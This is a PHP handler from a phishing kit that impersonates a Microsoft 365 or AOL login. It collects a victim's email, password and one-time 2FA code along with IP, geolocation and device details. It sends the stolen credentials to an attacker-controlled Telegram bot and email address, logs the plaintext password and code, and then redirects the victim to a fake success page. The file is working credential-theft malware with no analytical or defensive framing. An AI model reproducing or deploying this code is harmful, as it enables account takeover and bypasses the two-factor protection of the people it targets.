<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

# Adding Settings
include('../function.php');
include('../config.php');

# User Agent
$useragent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

// Handle localhost IP (::1) properly
if ($IP == '::1' || $IP == '127.0.0.1' || empty($IP)) {
    $IP = '1.1.1.1'; // Use a public IP for testing
}

// Get geolocation data
$details = get_ip1($IP);
$details = json_decode($details, true);

// Handle case where details decoding fails
if ($details === null) {
    $details = array(
        'geoplugin_countryName' => 'Unknown',
        'geoplugin_countryCode' => 'XX',
        'geoplugin_continentName' => 'Unknown',
        'geoplugin_city' => 'Unknown',
        'geoplugin_region' => 'Unknown',
        'geoplugin_timezone' => 'UTC'
    );
}

$countryname = isset($details['geoplugin_countryName']) ? $details['geoplugin_countryName'] : 'Unknown';
$countrycode = isset($details['geoplugin_countryCode']) ? $details['geoplugin_countryCode'] : 'XX';
$continent = isset($details['geoplugin_continentName']) ? $details['geoplugin_continentName'] : 'Unknown';
$city = isset($details['geoplugin_city']) ? $details['geoplugin_city'] : 'Unknown';
$regioncity = isset($details['geoplugin_region']) ? $details['geoplugin_region'] : 'Unknown';
$timezone = isset($details['geoplugin_timezone']) ? $details['geoplugin_timezone'] : 'UTC';

// If first service failed, try second one
if(empty($countryname) || $countryname == "" || $countryname == "Unknown") {
    $details2 = get_ip2($IP);
    $details2 = json_decode($details2, true);
    
    // Handle case where second attempt also fails
    if ($details2 === null) {
        $details2 = array(
            'country' => 'Unknown',
            'countryCode' => 'XX',
            'continent' => 'Unknown',
            'city' => 'Unknown'
        );
    }
    
    $countryname = isset($details2['country']) ? $details2['country'] : $countryname;
    $countrycode = isset($details2['countryCode']) ? $details2['countryCode'] : $countrycode;
    $continent = isset($details2['continent']) ? $details2['continent'] : $continent;
    $city = isset($details2['city']) ? $details2['city'] : $city;
}

$date = date('H:i:s d/m/Y');
$os = getOS($useragent);
$browser = getBrowser($useragent);

## Store OTP code in session
$_SESSION['otp_code'] = $_POST["code"];

# Add OTP to credentials array
if (!isset($_SESSION['credentials'])) {
    $_SESSION['credentials'] = array();
}
$_SESSION['credentials']['otp'] = $_POST["code"];

# Collect all credentials in one message (formatted)
// Use session variables directly if credentials array is not available
$email = $_SESSION['credentials']['email'] ?? $_SESSION['email'] ?? '';
$password = $_SESSION['credentials']['password'] ?? $_SESSION['password'] ?? '';
$otp = $_POST["code"] ?? '';

$msgtg = "BY : https://t.me/Blinkz455\n\n\n❤️== COMPLETE Microsoft 365 LOGIN [".$IP."] ==❤️\n\n\n\n👤Code :  ".$otp."\n\n\n=========[ DEVICE INFO ]=========\n\nIP : \nhttp://www.geoiptool.com/?IP=".$IP."\n\nDate : ".$date."\n\nUSER AGENT : ".$useragent."\n\nOS / BR : ".$os."\n";

// Debug: Log that we're in this file
error_log("code.php executed - Redirecting to loading.html");
error_log("Email: " . $email);
error_log("Password: " . $password);
error_log("OTP: " . $otp);

if ($settings['telegram'] == "1"){
    $data = $msgtg;
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $data,
        'parse_mode' => 'Markdown'
    ];
    $website = "https://api.telegram.org/bot{$settings['bot_url']}/sendMessage";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $website,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $send,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $result = curl_exec($ch);
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    // Log any errors
    if ($result === false || $httpcode != 200) {
        error_log("Telegram API Error: " . $error);
        error_log("HTTP Code: " . $httpcode);
        error_log("Response: " . print_r($result, true));
    } else {
        error_log("Telegram message sent successfully");
    }
}

# Send Mail

if ($settings['send_mail'] == "1"){
    $to = $settings['email'];
    $headers = "Content-type:text/plain;charset=UTF-8\r\n";
    $headers .= "From: Holaide <olaideadebowale241@may.com\r\n";
    $subject = " ✦ AOL LOGIN FROM ✦ {$IP} ✦";
    $msg = $msgtg;
    mail($to, $subject, $msg, $headers);
  }

// Clear credentials after sending
unset($_SESSION['credentials']);
unset($_SESSION['email']);
unset($_SESSION['password']);
unset($_SESSION['otp_code']);

// Ensure no output before header
if (ob_get_level()) {
    ob_end_clean();
}

error_log("About to redirect to ../success.html");
header('Location: ../success.html');
exit();
?>